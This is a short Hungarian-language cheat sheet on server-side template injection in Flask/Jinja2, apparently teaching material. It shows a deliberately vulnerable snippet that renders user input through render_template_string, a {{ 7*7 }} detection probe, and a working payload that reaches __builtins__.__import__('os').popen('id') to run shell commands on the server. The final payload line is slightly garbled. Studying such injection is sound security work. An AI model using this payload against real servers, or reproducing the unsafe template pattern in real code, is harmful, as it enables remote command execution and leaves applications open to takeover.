SSTI Cheat sheet
Az SSTI ugyanabból a családból származik, mint az SQLInjection. Azaz ugyanúgy valamilyen inputot kell injektálnunk az applikációban. Ahogy a nevéből látható itt a template-be fogunk injektálni cukiság-okat.
Meet the template
Ebben a feladatban a Jinja2 templating library-vel fogunk megismerkedni. A templating nyelv érdekessége, hogy html-be tudunk változókat átadni. Ezt a {{ változónév }} szintaxissal tudjuk megvalósítani.
Hiba a programban
Itt a programban az a hiba, hogy felhasználói inputot adunk át ennek a nyelvnek, és megjelenítjük anélkül, hogy verifikálnánk az inputot.
template = f"""
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Index</title>
</head>
<body>
<form action="", method="post">
<input type="text", id="input", name="input">
</form>
{form_input}
</body>
</html>
"""
return render_template_string(template)
Itt a változót form_input szimplán hozzáfűzzük, a template-hez, amit majd a template utána kirenderel. Azaz ha olyan inputot adunk, ami valid template instrukció akkor kódot tudunk futtatni a szerveren.
Az applikáció tesztelése:
Az egyszerű input amivel tesztelhetjük, hogy sérülékeny-e az applikáció, az ha inputként megadjuk a következő egyszerű input-ot {{ 7*7 }}. Ennek 49-et kellene kiadnia, és akkor a weboldal sérülékeny.
A sérülékenység kihasználása:
A pythonnak az osztályok/függvények parszoló részét fogjuk kihasználni. A Jinja2 dokumentációból lehet sok mindent meg lehet találni ami segíthet, de mi most a requestet fogjuk felhasználni. Pontosabban a request application függvényét.
Python magic:
Ha az alábbi payload-ot beírtuk: {{request.application}} Akkor a következő kimenetet kellen látnunk: <bound method Request.application of <class 'flask.wrappers.Request'>> Ebből azt látjuk, hogy ez egy metódus a request osztályban. Ez jó eddig is ezt gondoltuk.
A **globals** függvény azt csinálja, hogy visszaadja a globális namespace-ét a függvénynek amire meghívjuk.
Az a feladat, az hogy nekünk hasznos függvényeket tudjunk meghívni egyszerűen. Az elérhető függvényekket **builtins** metódus meghívásával tudjuk megnézni, ez sok függvényt kiír, viszont nekünk, a fontos az **import** lesz.
Most már csak használnunk kell ezt a függvényt.
request.application.__builtins__.__import__('os').popen('id').read()
Itt importáljuk az os modult, majd popen-nel meghívunk egy shell parancsot, és amit a parancs kiadott azt visszaadjuk, és ezt fogjuk majd látni a weboldalon.
Tehát a végső input az alábbiként fog kinézni:
{{request.application.(__globals__.)__builtins__.__import__('os').popen('id').read()}}